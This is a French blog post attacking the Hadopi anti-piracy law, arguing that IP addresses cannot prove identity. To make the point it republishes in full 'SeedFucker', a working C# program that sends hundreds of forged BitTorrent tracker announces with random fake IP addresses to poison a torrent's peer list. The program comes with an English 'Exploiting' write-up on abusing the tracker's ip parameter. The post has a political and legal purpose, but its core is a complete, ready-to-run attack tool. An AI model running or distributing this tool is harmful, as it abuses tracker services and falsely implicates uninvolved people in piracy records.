Dot.Blog

C#, XAML, Xamarin, UWP/Android/iOS

SeedFucker, Hadopi et C#

Voici un beau cocktail ! Pouvoir à la fois parler de C#, donc en plein dans le sujet de ce blog, et de Hadopi, un système liberticide non pas dans son fondement (le respect de la propriété intellectuel est un sujet sérieux) mais dans sa forme. Vous commencerez à recevoir vos premiers emails le 21 juin, c’est décidé et c’est en route !

Vous vous croyez à l’abri parce que vous ne téléchargez rien d’illégal ?

Vous vous croyez à l’abri parce que vous utilisez des systèmes d’anonymisation, des VPN et autres montages de geeks ?

Vous avez tort, car vous êtes peut-être déjà dans le fichier de ceux qui auront leur accès coupé à Internet ! Ou vous allez l’être d’ici peu !

Une raison technique à ceci : Hadopi fonctionne sur le sniffage des réseaux P2P, en se faisant passer pour un client BitTorrent ou autre les sociétés délatrice (du secteur privé) relève les pairs qui offrent en téléchargement tel ou tel fichier et ceux qui le demandent en téléchargement. L’adresse IP accolée au statut du pair (demandeur ou téléchargeur) est “l’identité” qui est relevée et qui vous condamne. C’est tout. Un nombre géré par des machines faillibles peut vous condamner, comme une erreur typographique dans Brazil (l’excellent film de Terry Gilliam).

Si vous me croyez parano, lisez cette interview d’un député UMP (pourtant ce n’est pas d’eux qu’il faut attendre grand-chose!) qui craint le pire : http://www.01net.com/editorial/515943/m-zumkeller-la-hadopi-ne-doit-pas-frapper-en-aveugle/

Les sociétés délatrices ne sont pas obligées de télécharger réellement le fichier depuis l’adresse IP ce qui constituerait une pièce à conviction assez solide. Non, ils notent juste que “telle adresse IP” a demandé ou a offert “tel Hash” (puisque c’est un autre chiffre, le Hash du fichier qui identifie l’oeuvre et non son contenu !).

Comment pouvez-vous être déjà coupable alors que vous êtes innocent ?

C’est simple, cela s’appelle SeedFucker. Quelques lignes de C#. Mais d’autres variantes existent et dans d’autres langages. L’auteur de SeedFucker a juste eu l’honnêteté de publier son code car ce qu’il cherche c’est démontrer que Hadopi est légalement mort et que nos dirigeants en insistant lourdement sont dans l’illégalité constitutionnelle la plus complète, celle qui impose que le doute profite à l’accusé et non à l’accusation ! De plus la fameuse égalité “IP = Identité” à la base de tout le mécanisme Hadopi de sanction est trompée, violée, et n’a plus aucun fondement.

Pour le prouver donc, et pour donner l’occasion de regarder un peu de C#, voici le code de SeedFucker (plus bas). Je ne traduirai pas le nom du soft vous avez compris le sens.

SeedFucker est un programme très court en C# (pas très bien écrit mais court, ce qui montre à la fois la puissance du langage et la simplicité enfantine de mettre en déroute Hadopi) qui, une fois lancé, se connecte à BitTorrent et génère des tonnes d’infos toutes plus bidons les unes que les autres. Notamment, sur un tel réseau, vous pouvez être un Pair ou une Seed, être en train de demander un fichier ou en train de l’offrir en partage. De même vous êtes identifié par votre fameuse IP, et vous signalez la possession ou l’envie de posséder un fichier par le biais de son Hash.

SeedFucker fabrique à la volée des fausses demandes de téléchargement et des fausses offres de partage. Il fait bien entendu un tirage aléatoire de l’adresse IP émettant le signal …

Du coup, une société délatrice peut se connecter à un serveur BitTorrent et demander qui offre “Avatar” (la technique consiste à simplement se faire passer pour un client BitBorrent qui demande le fichier) et pourra trouver des centaines d’adresses IP se déclarant le posséder, ces IP ayant été générées aléatoirement par SeedFucker… Dans ces IP fabriquées par SeedFucker : la vôtre peut-être !

En utilisant SeedFucker fait-on quelque chose d’illégal ? La question est ouverte, mais juridiquement cela semble très complexe de le prouver. En tout cas, SeedFucker fabrique des “faux coupables” vis à vis de Hadopi. Les juristes se débrouilleront, pour nous ici seule la technique compte, et ses conséquences purement techniques et juridiques : votre culpabilité est déduite d’un système rendu totalement inutilisable par la simple existence de SeedFucker !

Peu importe donc si utiliser SeedFucker est légal ou non, SeedFucker c’est comme la bombe atomique. Après tout que certaines soit 1000 fois plus puissantes que celle d’Hiroshima ou “seulement” 100 fois, c’est leur existence qui suffit à éviter la guerre, pas leur utilisation. La seule différence c’est que la bombe atomique on espère bien ne jamais savoir quels effets réels pourrait produire une bombe 1000 fois comme Hiroshima, alors que SeedFucker on est pressé d’avoir l’occasion de sortir le listing dans un procès pour mettre un coup fatal, par la jurisprudence créée, à tout Hadopi.

Le simple fait que SeedFucker existe démontre que les sociétés délatrices peuvent recueillir des IP de soi-disant pirates qui auront été inventées par une instance de SeedFucker tournant quelque part dans le monde. Il suffit d’une seule instance qui tourne sur toute la terre pour que la fameuse preuve “IP = identité” soit réduite à néant. Et comme il est impossible de prouver qu’aucune instance ne tourne dans le monde, l’argument d’un vrai pirate sera “j’ai été SeedFucké M. le juge, je suis innocent”. Et comme le juge ne pourra pas prouver qu’en effet l’individu en question n’est pas la victime d’une instance de SeedFucker quelque part sur terre, c’est toute l’accusation qui tombe à l’eau…

Comme la bombe atomique rend inutile toute tentative d’invasion, la seule existence de SeedFucker rend caduque tout le système Hadopi. Sauf que nos dirigeants vont mettre en route Hadopi le 21 juin prochain en se moquant de cette réalité et en envoyant devant le juge des innocents !

Plusieurs avocats sont en embuscade… beaucoup espèrent avoir à défendre un “pirate”, et se faire ainsi un nom dans le métier comme étant le tombeur d’Hadopi grâce à SeedFucker !

Mais pour l’instant, vous, moi, pourrons recevoir dès le 21 juin prochain nos premières menaces, et bientôt nos premières sanctions !

Même dans les pires films de SF comme Judge Dredd, où le flic est aussi le juge qui prononce la sanction et qui est le bourreau qui l’exécute, comme ça en trente secondes dans la rue, c’est un humain qui décide de la culpabilité. Avec les radars automatiques c’est une machine qui constate, qui juge et sanctionne. Heureusement pour le tracteur flashé à 200km/h que c’était un tracteur … la même erreur aurait eu quelles conséquences si le propriétaire avait une Ferrari ? …Coupable, forcément coupable, c’est la machine qui le dit !!! C’était hier. Aujourd’hui c’est Hadopi, des machines vous repèrent (croient vous repérer) mais elles vous jugent et vous condamnent ! Demain avec la multiplication des caméras et des systèmes de reconnaissance des visages, la biométrie généralisée, ce seront encore des milliers, des millions de processeurs qui “constateront”, “jugeront” et VOUS condamnerons !

Nous en sommes arrivé à un point de bascule entre état de droit et état policier, la limite est franchie entre démocratie et la pente douce vers la dictature. L’heure est réellement grave et chacun de nous devrait se sentir concerné. Et c’est à titre technique mais aussi à titre citoyen et militant que je publie ci-dessous le code de SeedFucker afin que tout le monde puisse le brandir à un juge si à partir du 21 juin prochain VOUS ETES CONDAMNES !

 

Code source de SeedFucker

   1:  === Credits ===
   2:  Written by Burningmace.
   3:  Thanks to Blindkilla for helping me out.
   4:   
   5:  === Introduction ===
   6:  The BitTorrent protocol identifies peers using a tracker. Each peer announces itself to the tracker via HTTP.
   7:  Certain parameters in the announce request itself can be altered in order to fake the IP address of the peer.
   8:  This can be used to "poison" the torrent by adding thousands of fake peers.
   9:   
  10:  === The Principle ===
  11:  The announce works like this:
  12:  http://tracker.example.com/announce?info_hash=<hash>&peer_id=<id>&uploaded=0&downloaded=0&left=<left>&event=<event>&port=<port>&numwant=<n>&ip=<address>
  13:  Where:
  14:      - <hash> is the infohash of the torrent, escaped.
  15:      - <id> is a random 20 character id generated by the client to identify itself.
  16:      - <left> is the number of bytes left to download. use 0 when seeding.
  17:      - <event> is the type of announce you are issuing. use "completed" if you're seeding, or "started" if downloading.
  18:      - <port> is the local port on which your BitTorrent client is accepting connecitons.
  19:      - <n> is the number of peers you wish to fetch. keep this low for repeated multiple requests.
  20:      - <address> is the IP address that you wish to be bound to.
  21:   
  22:  The address parameter is normally used when users are behind a firewall or NAT router, but for most trackers
  23:  it can be set to absolutely anything - including a DNS. An example of a request would be the following:
  24:   
  25:  http://tracker.example.com/announce?info_hash=%e6%8e%c7%d9%64%7a%d3%22%23%8c%e9%81%cb%aa%5a%24%fe%a5%2d%81&peer_id=01020304050607080901&uploaded=0&downloaded=0&left=0&event=completed&port=1234&numwant=5&ip=123.45.67.89
  26:   
  27:  === Exploiting ===
  28:  We can create a program that announces itself repeatedly to the tracker with fake IPs. To get the best out of
  29:  this exploit, announce yourself as both seeds and peers. With a broadband connection, you can often add over
  30:  a thousand fake peers to the swarm in less than 5 minutes.
  31:   
  32:  === Example Code ===
  33:   
  34:  /*
  35:   *
  36:   * This C# code sends hundreds of announce requests per minute.
  37:   *
  38:   * I know you C fanboys are pulling you hair out right now, but I don't care. C# is the win, bitches.
  39:   *
  40:   */
  41:  using System;
  42:  using System.Collections.Generic;
  43:  using System.Text;
  44:  using System.Net;
  45:  using System.Threading;
  46:   
  47:  namespace SeedFucker
  48:  {
  49:      class Program
  50:      {
  51:          static void Main(string[] args)
  52:          {
  53:              // create a thread pool with 5 threads
  54:              List<Thread> tp = new List<Thread>();
  55:              for (int i = 0; i < 5; i++)
  56:              {
  57:                  tp.Add(new Thread(TorrentThread));
  58:                  tp[i].Start();
  59:                  Thread.Sleep(10);
  60:              }
  61:              while (true)
  62:              {
  63:                  Thread.Sleep(50);
  64:              }
  65:          }
  66:   
  67:          static void TorrentThread()
  68:          {
  69:              // create a web client with a "no cache" policy
  70:              WebClient wc = new WebClient();
  71:              wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);
  72:   
  73:              // the infohash of the torrent we want to poison
  74:              string hash = "1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1";
  75:   
  76:              // encode the hash
  77:              string hashEncoded = "";
  78:              for (int i = 0; i < 20; i++)
  79:              {
  80:                  hashEncoded += "%" + hash[i * 2] + hash[(i * 2) + 1];
  81:              }
  82:   
  83:              // enter the main loop
  84:              while (true)
  85:              {
  86:                  // generate a random IP address
  87:                  string ip = GenerateIP();
  88:                  // create a timestamp for display purposes
  89:                  string time = "[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] ";
  90:   
  91:                  // if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
  92:                  bool completed = (RNG.Next(0, 3) == 0);
  93:                  string torrentEvent = (completed ? "completed" : "started");
  94:          // pick a random size 
  95:                  int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
  96:                  // create the url - change the announce url to whatever your particular torrent is using
  97:                  string url = "http://tracker.example.com/announce?info_hash=" + hashEncoded + "&peer_id=" + RNG.Next(1000000, 9999999).ToString() + RNG.Next(100000, 999999).ToString() + RNG.Next(1000000, 9999999).ToString() + "&port=" + RNG.Next(5000, 32000).ToString() + "&uploaded=0&downloaded=0&left=" + left.ToString() + "&event=" + torrentEvent + "&numwant=5&ip=" + ip;
  98:                  // attempt the announce
  99:                  try
 100:                  {
 101:                      wc.DownloadData(url);
 102:                      Console.WriteLine(time + "Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip + "]");
 103:                  }
 104:                  catch
 105:                  {
 106:                  }
 107:              }
 108:          }
 109:   
 110:          static string GenerateIP()
 111:          {
 112:              // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
 113:              return RNG.Next(50, 220).ToString() + "." + RNG.Next(10, 100).ToString() + "." + RNG.Next(1, 255).ToString() + "." + RNG.Next(1, 255).ToString();
 114:          }
 115:      }
 116:   
 117:      class RNG
 118:      {
 119:          private static Random _rng = new Random();
 120:   
 121:          public static int Next(int min, int max)
 122:          {
 123:              return _rng.Next(min, max);
 124:          }
 125:      }
 126:  }
blog comments powered by Disqus